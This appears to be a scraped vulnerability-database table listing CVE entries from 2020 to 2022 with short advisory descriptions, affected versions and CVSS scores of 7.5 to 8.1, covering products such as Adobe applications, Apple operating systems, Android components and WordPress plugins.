CVE-2022-25364	In Gradle Enterprise before 2021.4.2, the default built-in build cache configuration allowed anonymous write access. If this was not manually changed, a malicious actor with network access to the build cache could potentially populate it with manipulated entries that execute malicious code as part of a build. As of 2021.4.2, the built-in build cache is inaccessible-by-default, requiring explicit configuration of its access-control settings before it can be used. (Remote build cache nodes are unaffected as they are inaccessible-by-default.)	8.1	More Details
CVE-2022-0229	The miniOrange's Google Authenticator WordPress plugin before 5.5 does not have proper authorisation and CSRF checks when handling the reconfigureMethod, and does not validate the parameters passed to it properly. As a result, unauthenticated users could delete arbitrary options from the blog, making it unusable.	8.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2022-24759	`@chainsafe/libp2p-noise` contains TypeScript implementation of noise protocol, an encryption protocol used in libp2p. `@chainsafe/libp2p-noise` before 4.1.2 and 5.0.3 does not correctly validate signatures during the handshake process. This may allow a man-in-the-middle to pose as other peers and get those peers banned. Users should upgrade to version 4.1.2 or 5.0.3 to receive a patch. There are currently no known workarounds.	8.1	More Details
CVE-2021-41987	In the SCEP Server of RouterOS in certain Mikrotik products, an attacker can trigger a heap-based buffer overflow that leads to remote code execution. The attacker must know the scep_server_name value. This affects RouterOS 6.46.8, 6.47.9, and 6.47.10.	8.1	More Details
CVE-2022-27607	Bento4 1.6.0-639 has a heap-based buffer over-read in the AP4_HvccAtom class, a different issue than CVE-2018-14531.	8.1	More Details
CVE-2021-24905	The Advanced Contact form 7 DB WordPress plugin before 1.8.7 does not have authorisation nor CSRF checks in the acf7_db_edit_scr_file_delete AJAX action, and does not validate the file to be deleted, allowing any authenticated user to delete arbitrary files on the web server. For example, removing the wp-config.php allows attackers to trigger WordPress setup again, gain administrator privileges and execute arbitrary code or display arbitrary content to the users.	8.0	More Details
CVE-2022-25949	The kernel mode driver kwatch3 of KINGSOFT Internet Security 9 Plus Version 2010.06.23.247 fails to properly handle crafted inputs, leading to stack-based buffer overflow.	7.8	More Details
CVE-2022-22606	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution.	7.8	More Details
CVE-2021-42719	Adobe Bridge version 11.1.1 (and earlier) is affected by an out-of-bounds read vulnerability when parsing a crafted .jpe file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details
CVE-2020-26007	An arbitrary file upload vulnerability in the upload payment plugin of ShopXO v1.9.0 allows attackers to execute arbitrary code via uploading a crafted PHP file.	7.8	More Details
CVE-2021-42527	Adobe Premiere Elements 20210809.daily.2242976 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2022-22666	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, watchOS 8.5. Processing a maliciously crafted image may lead to heap corruption.	7.8	More Details
CVE-2021-42526	Adobe Premiere Elements 20210809.daily.2242976 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2022-22665	A logic issue was addressed with improved validation. This issue is fixed in macOS Monterey 12.3. A malicious application may be able to gain root privileges.	7.8	More Details
CVE-2020-26008	The PluginsUpload function in application/service/PluginsAdminService.php of ShopXO v1.9.0 contains an arbitrary file upload vulnerability which allows attackers to execute arbitrary code via uploading a crafted PHP file.	7.8	More Details
CVE-2022-1011	A use-after-free flaw was found in the Linux kernel's FUSE filesystem in the way a user triggers write(). This flaw allows a local user to gain unauthorized access to data from the FUSE filesystem, resulting in privilege escalation.	7.8	More Details
CVE-2021-40794	Adobe Premiere Pro version 15.4.1 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2021-40793	Adobe Premiere Pro version 15.4.1 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2021-40792	Adobe Premiere Pro version 15.4.1 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2022-22664	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Logic Pro 10.7.3, GarageBand 10.4.6, macOS Monterey 12.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution.	7.8	More Details
CVE-2021-42722	Adobe Bridge version 11.1.1 (and earlier) is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details
CVE-2021-40787	Adobe Premiere Elements 20210809.daily.2242976 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2021-40786	Adobe Premiere Elements 20210809.daily.2242976 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2022-22657	A memory initialization issue was addressed with improved memory handling. This issue is fixed in Logic Pro 10.7.3, GarageBand 10.4.6, macOS Monterey 12.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution.	7.8	More Details
CVE-2022-22607	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution.	7.8	More Details
CVE-2022-22608	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution.	7.8	More Details
CVE-2021-40780	Adobe Media Encoder version 15.4.1 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2021-40779	Adobe Media Encoder version 15.4.1 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2021-30771	An out-of-bounds write was addressed with improved input validation. This issue is fixed in macOS Big Sur 11.4, iOS 14.6 and iPadOS 14.6, watchOS 7.5, tvOS 14.6. Processing a maliciously crafted font file may lead to arbitrary code execution.	7.8	More Details
CVE-2022-22661	A type confusion issue was addressed with improved state handling. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. An application may be able to execute arbitrary code with kernel privileges.	7.8	More Details
CVE-2022-22579	An information disclosure issue was addressed with improved state management. This issue is fixed in iOS 15.3 and iPadOS 15.3, tvOS 15.3, Security Update 2022-001 Catalina, macOS Monterey 12.2, macOS Big Sur 11.6.3. Processing a maliciously crafted STL file may lead to unexpected application termination or arbitrary code execution.	7.8	More Details
CVE-2021-42720	Adobe Bridge version 11.1.1 (and earlier) is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details
CVE-2021-42724	Adobe Bridge version 11.1.1 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2022-26503	Deserialization of untrusted data in Veeam Agent for Windows 2.0, 2.1, 2.2, 3.0.2, 4.x, and 5.x allows local users to run arbitrary code with local system privileges.	7.8	More Details
CVE-2021-42728	Adobe Bridge 11.1.1 (and earlier) is affected by a stack overflow vulnerability due to insecure handling of a crafted file, potentially resulting in arbitrary code execution in the context of the current user. Exploitation requires user interaction in that a victim must open a crafted file in Bridge.	7.8	More Details
CVE-2022-25969	The installer of WPS Office Version 10.8.0.6186 insecurely load VERSION.DLL (or some other DLLs), allowing an attacker to execute arbitrary code with the privilege of the user invoking the installer.	7.8	More Details
CVE-2022-26081	The installer of WPS Office Version 10.8.0.5745 insecurely load shcore.dll, allowing an attacker to execute arbitrary code with the privilege of the user invoking the installer.	7.8	More Details
CVE-2022-26526	Anaconda Anaconda3 (Anaconda Distribution) through 2021.11.0.0 and Miniconda3 through 4.11.0.0 can create a world-writable directory under %PROGRAMDATA% and place that directory into the system PATH environment variable. Thus, for example, local users can gain privileges by placing a Trojan horse file into that directory. (This problem can only happen in a non-default installation. The person who installs the product must specify that it is being installed for all users. Also, the person who installs the product must specify that the system PATH should be changed.	7.8	More Details
CVE-2022-26511	WPS Presentation 11.8.0.5745 insecurely load d3dx9_41.dll when opening .pps files('current directory type' DLL loading).	7.8	More Details
CVE-2022-25581	Classcms v2.5 and below contains an arbitrary file upload via the component \class\classupload. This vulnerability allows attackers to execute code injection via a crafted .txt file.	7.8	More Details
CVE-2022-22591	A memory corruption issue was addressed with improved memory handling. This issue is fixed in macOS Monterey 12.2. A malicious application may be able to execute arbitrary code with kernel privileges.	7.8	More Details
CVE-2022-22593	A buffer overflow issue was addressed with improved memory handling. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Security Update 2022-001 Catalina, macOS Monterey 12.2, macOS Big Sur 11.6.3. A malicious application may be able to execute arbitrary code with kernel privileges.	7.8	More Details
CVE-2022-22596	A memory corruption issue was addressed with improved validation. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4. An application may be able to execute arbitrary code with kernel privileges.	7.8	More Details
CVE-2022-27243	An issue was discovered in MISP before 2.4.156. app/View/Users/terms.ctp allows Local File Inclusion via the custom terms file setting.	7.8	More Details
CVE-2022-22601	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution.	7.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2022-24655	A stack overflow vulnerability exists in the upnpd service in Netgear EX6100v1 201.0.2.28, CAX80 2.1.2.6, and DC112A 1.0.0.62, which may lead to the execution of arbitrary code without authentication.	7.8	More Details
CVE-2022-22602	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution.	7.8	More Details
CVE-2022-24091	Acrobat Reader DC version 21.007.20099 (and earlier), 20.004.30017 (and earlier) and 17.011.30204 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious font file.	7.8	More Details
CVE-2022-22584	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.3, iOS 15.3 and iPadOS 15.3, watchOS 8.4, macOS Monterey 12.2. Processing a maliciously crafted file may lead to arbitrary code execution.	7.8	More Details
CVE-2022-22603	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution.	7.8	More Details
CVE-2022-22640	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. An application may be able to execute arbitrary code with kernel privileges.	7.8	More Details
CVE-2022-22604	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution.	7.8	More Details
CVE-2022-22605	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution.	7.8	More Details
CVE-2022-22669	A use after free issue was addressed with improved memory management. This issue is fixed in macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges.	7.8	More Details
CVE-2022-22667	A use after free issue was addressed with improved memory management. This issue is fixed in iOS 15.4 and iPadOS 15.4. An application may be able to execute arbitrary code with kernel privileges.	7.8	More Details
CVE-2020-25184	Rockwell Automation ISaGRAF Runtime Versions 4.x and 5.x stores the password in plaintext in a file that is in the same directory as the executable file. ISaGRAF Runtime reads the file and saves the data in a variable without any additional modification. A local, unauthenticated attacker could compromise the user passwords, resulting in information disclosure.	7.8	More Details
CVE-2021-42730	Adobe Bridge version 11.1.1 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious PSD file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2021-42729	Adobe Bridge version 11.1.1 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious WAV file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2022-22597	A memory corruption issue was addressed with improved validation. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. Processing a maliciously crafted file may lead to arbitrary code execution.	7.8	More Details
CVE-2022-22639	A logic issue was addressed with improved state management. This issue is fixed in iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3. An application may be able to gain elevated privileges.	7.8	More Details
CVE-2022-22611	An out-of-bounds read was addressed with improved input validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, iTunes 12.12.3 for Windows, watchOS 8.5, macOS Monterey 12.3. Processing a maliciously crafted image may lead to arbitrary code execution.	7.8	More Details
CVE-2021-39695	In createOrUpdate of BasePermission.java, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11Android ID: A-209607944	7.8	More Details
CVE-2021-39707	In onReceive of AppRestrictionsFragment.java, there is a possible way to start a phone call without permissions due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12Android ID: A-200688991	7.8	More Details
CVE-2021-39706	In onResume of CredentialStorage.java, there is a possible way to cleanup content of credentials storage due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12Android ID: A-200164168	7.8	More Details
CVE-2021-40765	Adobe Character Animator version 4.4 (and earlier) is affected by a memory corruption vulnerability when parsing a M4A file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2021-39704	In deleteNotificationChannelGroup of NotificationManagerService.java, there is a possible way to run foreground service without user notification due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12Android ID: A-209965481	7.8	More Details
CVE-2021-39703	In updateState of UsbDeviceManager.java, there is a possible unauthorized access of files due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12Android ID: A-207057578	7.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-39702	In onCreate of RequestManageCredentials.java, there is a possible way for a third party app to install certificates without user approval due to a tapjacking/overlay attack. This could lead to local escalation of privilege with User execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-12Android ID: A-205150380	7.8	More Details
CVE-2021-39701	In serviceConnection of ControlsProviderLifecycleManager.kt, there is a possible way to keep service running in foreground without notification or permission due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-11 Android-12Android ID: A-212286849	7.8	More Details
CVE-2021-39698	In aio_poll_complete_work of aio.c, there is a possible memory corruption due to a use after free. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-185125206References: Upstream kernel	7.8	More Details
CVE-2021-39697	In checkFileUriDestination of DownloadProvider.java, there is a possible way to bypass external storage private directories protection due to a missing permission check. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12Android ID: A-200813547	7.8	More Details
CVE-2021-39694	In parse of RoleParser.java, there is a possible way for default apps to get permissions explicitly denied by the user due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12Android ID: A-202312327	7.8	More Details
CVE-2021-39714	In ion_buffer_kmap_get of ion.c, there is a possible use-after-free due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-205573273References: Upstream kernel	7.8	More Details
CVE-2021-39693	In onUidStateChanged of AppOpsService.java, there is a possible way to access location without a visible indicator due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12Android ID: A-208662370	7.8	More Details
CVE-2021-39692	In onCreate of SetupLayoutActivity.java, there is a possible way to setup a work profile bypassing user consent due to a tapjacking/overlay attack. This could lead to local escalation of privilege with User execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12Android ID: A-209611539	7.8	More Details
CVE-2021-39685	In various setup methods of the USB gadget subsystem, there is a possible out of bounds write due to an incorrect flag check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-210292376References: Upstream kernel	7.8	More Details
CVE-2021-0957	In NotificationStackScrollLayout of NotificationStackScrollLayout.java, there is a possible way to bypass Factory Reset Protections. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12Android ID: A-193149550	7.8	More Details
CVE-2022-22631	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. An application may be able to gain elevated privileges.	7.8	More Details
CVE-2022-22633	A memory corruption issue was addressed with improved state management. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, macOS Monterey 12.3. Opening a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution.	7.8	More Details
CVE-2022-1031	Use After Free in op_is_set_bp in GitHub repository radareorg/radare2 prior to 5.6.6.	7.8	More Details
CVE-2022-22634	A buffer overflow was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4. A malicious application may be able to execute arbitrary code with kernel privileges.	7.8	More Details
CVE-2022-22636	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4. An application may be able to execute arbitrary code with kernel privileges.	7.8	More Details
CVE-2021-39709	In sendSipAccountsRemovedNotification of SipAccountRegistry.java, there is a possible permission bypass due to an unsafe PendingIntent. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12Android ID: A-208817618	7.8	More Details
CVE-2022-22578	A logic issue was addressed with improved validation. This issue is fixed in tvOS 15.3, iOS 15.3 and iPadOS 15.3, watchOS 8.4, macOS Monterey 12.2. A malicious application may be able to gain root privileges.	7.8	More Details
CVE-2022-22613	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges.	7.8	More Details
CVE-2021-40739	Adobe Audition version 14.4 (and earlier) is affected by a memory corruption vulnerability when parsing a M4A file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2022-22612	A memory consumption issue was addressed with improved memory handling. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, iTunes 12.12.3 for Windows, watchOS 8.5, macOS Monterey 12.3. Processing a maliciously crafted image may lead to heap corruption.	7.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-39734	In sendMessage of OneToOneChatImpl.java (? TBD), there is a possible way to send an RCS message without permissions due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-208650395References: N/A	7.8	More Details
CVE-2021-39732	In copy_io_entries of lwis_ioctl.c, there is a possible out of bounds write due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-205992503References: N/A	7.8	More Details
CVE-2021-39793	In kbase_jd_user_buf_pin_pages of mali_kbase_mem.c, there is a possible out of bounds write due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-210470189References: N/A	7.8	More Details
CVE-2022-22618	This issue was addressed with improved checks. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4. A user may be able to bypass the Emergency SOS passcode prompt.	7.8	More Details
CVE-2022-22617	A logic issue was addressed with improved state management. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. An application may be able to gain elevated privileges.	7.8	More Details
CVE-2022-22615	A use after free issue was addressed with improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges.	7.8	More Details
CVE-2022-22614	A use after free issue was addressed with improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges.	7.8	More Details
CVE-2021-40738	Adobe Audition version 14.4 (and earlier) is affected by a memory corruption vulnerability when parsing a WAV file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2021-40763	Adobe Character Animator version 4.4 (and earlier) is affected by a memory corruption vulnerability when parsing a WAF file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2021-40764	Adobe Character Animator version 4.4 (and earlier) is affected by a memory corruption vulnerability when parsing a M4A file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2021-40740	Adobe Audition version 14.4 (and earlier) is affected by a memory corruption vulnerability when parsing a M4A file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.	7.8	More Details
CVE-2022-27333	idcCMS v1.10 was discovered to contain an issue which allows attackers to arbitrarily delete the install.lock file, resulting in a reset of the CMS settings and data.	7.5	More Details
CVE-2021-39726	In cd_ParseMsg of cd_codec.c, there is a possible out of bounds read due to an incorrect bounds check. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-181782896References: N/A	7.5	More Details
CVE-2020-25178	ISaGRAF Workbench communicates with Rockwell Automation ISaGRAF Runtime Versions 4.x and 5.x using TCP/IP. This communication protocol provides various file system operations, as well as the uploading of applications. Data is transferred over this protocol unencrypted, which could allow a remote unauthenticated attacker to upload, read, and delete files.	7.5	More Details
CVE-2022-24772	Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.3.0, RSA PKCS#1 v1.5 signature verification code does not check for tailing garbage bytes after decoding a `DigestInfo` ASN.1 structure. This can allow padding bytes to be removed and garbage data added to forge a signature when a low public exponent is being used. The issue has been addressed in `node-forge` version 1.3.0. There are currently no known workarounds.	7.5	More Details
CVE-2022-24771	Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.3.0, RSA PKCS#1 v1.5 signature verification code is lenient in checking the digest algorithm structure. This can allow a crafted structure that steals padding bytes and uses unchecked portion of the PKCS#1 encoded message to forge a signature when a low public exponent is being used. The issue has been addressed in `node-forge` version 1.3.0. There are currently no known workarounds.	7.5	More Details
CVE-2022-25352	The package libnested before 1.5.2 are vulnerable to Prototype Pollution via the set function in index.js. **Note:** This vulnerability derives from an incomplete fix for [CVE-2020-28283](https://security.snyk.io/vuln/SNYK-JS-LIBNESTED-1054930)	7.5	More Details
CVE-2022-1036	Able to create an account with long password leads to memory corruption / Integer Overflow in GitHub repository microweber/microweber prior to 1.2.12.	7.5	More Details
CVE-2021-44260	A vulnerability is in the 'live_mfg.html' page of the WAVLINK AC1200, version WAVLINK-A42W-1.27.6-20180418, which can allow a remote attacker to access this page without any authentication. When processed, it exposes some key information of the manager of router.	7.5	More Details
CVE-2021-45810	GlobalProtect-openconnect versions prior to 2.0.0 (exclusive) are affected by incorrect access control in GPService through DBUS, GUI. The way GlobalProtect-Openconnect is set up enables arbitrary users to start a VPN connection to arbitrary servers. By hosting an openconnect compatible server, the attack can redirect the entire host's traffic via their own server.	7.5	More Details
CVE-2021-44262	A vulnerability is in the 'MNU_top.htm' page of the Netgear W104, version WAC104-V1.0.4.13, which can allow a remote attacker to access this page without any authentication. When processed, it exposes some key information for the device.	7.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2022-27191	The golang.org/x/crypto/ssh package before 0.0.0-20220314234659-1baeb1ce4c0b for Go allows an attacker to crash a server in certain circumstances involving AddHostKey.	7.5	More Details
CVE-2022-25389	DCN Firewall DCME-520 was discovered to contain an arbitrary file download vulnerability via the path parameter in the file /audit/log/log_management.php.	7.5	More Details
CVE-2022-25481	ThinkPHP Framework v5.0.24 was discovered to be configured without the PATHINFO parameter. This allows attackers to access all system environment parameters from index.php. NOTE: this is disputed by a third party because system environment exposure is an intended feature of the debugging mode.	7.5	More Details
CVE-2021-45968	An issue was discovered in xmppserver jar in the XMPP Server component of the JIve platform, as used in Pascom Cloud Phone System before 7.20.x (and in other products). An endpoint in the backend Tomcat server of the Pascom allows SSRF, a related issue to CVE-2019-18394.	7.5	More Details
CVE-2022-22653	A logic issue was addressed with improved restrictions. This issue is fixed in iOS 15.4 and iPadOS 15.4. A malicious website may be able to access information about the user and their devices.	7.5	More Details
CVE-2021-20299	A flaw was found in OpenEXR's Multipart input file functionality. A crafted multi-part input file with no actual parts can trigger a NULL pointer dereference. The highest threat from this vulnerability is to system availability.	7.5	More Details
CVE-2021-45794	Slims9 Bulian 9.4.2 is affected by SQL injection in /admin/modules/system/backup.php. User data can be obtained.	7.5	More Details
CVE-2022-0667	When the vulnerability is triggered the BIND process will exit. BIND 9.18.0	7.5	More Details
CVE-2021-46107	Ligeo Archives Ligeo Basics as of 02_01-2022 is vulnerable to Server Side Request Forgery (SSRF) which allows an attacker to read any documents via the download features.	7.5	More Details
CVE-2022-21822	NVIDIA FLARE contains a vulnerability in the admin interface, where an un-authorized attacker can cause Allocation of Resources Without Limits or Throttling, which may lead to cause system unavailable.	7.5	More Details
CVE-2022-22585	An issue existed within the path validation logic for symlinks. This issue was addressed with improved path sanitization. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, macOS Monterey 12.2, macOS Big Sur 11.6.3. An application may be able to access a user's files.	7.5	More Details
CVE-2022-24761	Waitress is a Web Server Gateway Interface server for Python 2 and 3. When using Waitress versions 2.1.0 and prior behind a proxy that does not properly validate the incoming HTTP request matches the RFC7230 standard, Waitress and the frontend proxy may disagree on where one request starts and where it ends. This would allow requests to be smuggled via the front-end proxy to waitress and later behavior. There are two classes of vulnerability that may lead to request smuggling that are addressed by this advisory: The use of Python's `int()` to parse strings into integers, leading to `+10` to be parsed as `10`, or `0x01` to be parsed as `1`, where as the standard specifies that the string should contain only digits or hex digits; and Waitress does not support chunk extensions, however it was discarding them without validating that they did not contain illegal characters. This vulnerability has been patched in Waitress 2.1.1. A workaround is available. When deploying a proxy in front of waitress, turning on any and all functionality to make sure that the request matches the RFC7230 standard. Certain proxy servers may not have this functionality though and users are encouraged to upgrade to the latest version of waitress instead.	7.5	More Details
CVE-2021-45793	Slims9 Bulian 9.4.2 is affected by SQL injection in lib/comment.inc.php. User data can be obtained.	7.5	More Details
CVE-2022-25250	When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) may allow an attacker to send a certain command to a specific port without authentication. Successful exploitation of this vulnerability could allow a remote unauthenticated attacker to shut down a specific service.	7.5	More Details
CVE-2022-26353	A flaw was found in the virtio-net device of QEMU. This flaw was inadvertently introduced with the fix for CVE-2021-3748, which forgot to unmap the cached virtqueue elements on error, leading to memory leakage and other unexpected results. Affected QEMU version: 6.2.0.	7.5	More Details
CVE-2022-25249	When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) (disregarding Axeda agent v6.9.2 and v6.9.3) is vulnerable to directory traversal, which could allow a remote unauthenticated attacker to obtain file system read access via web server..	7.5	More Details
CVE-2022-23347	BigAnt Software BigAnt Server v5.6.06 was discovered to be vulnerable to directory traversal attacks.	7.5	More Details
CVE-2022-26660	RunAsSpc 4.0 uses a universal and recoverable encryption key. In possession of a file encrypted by RunAsSpc, an attacker can recover the credentials that were used.	7.5	More Details
CVE-2021-44345	Beijing Wisdom Vision Technology Industry Co., Ltd One Card Integrated Management System 3.0 is vulnerable to SQL Injection.	7.5	More Details
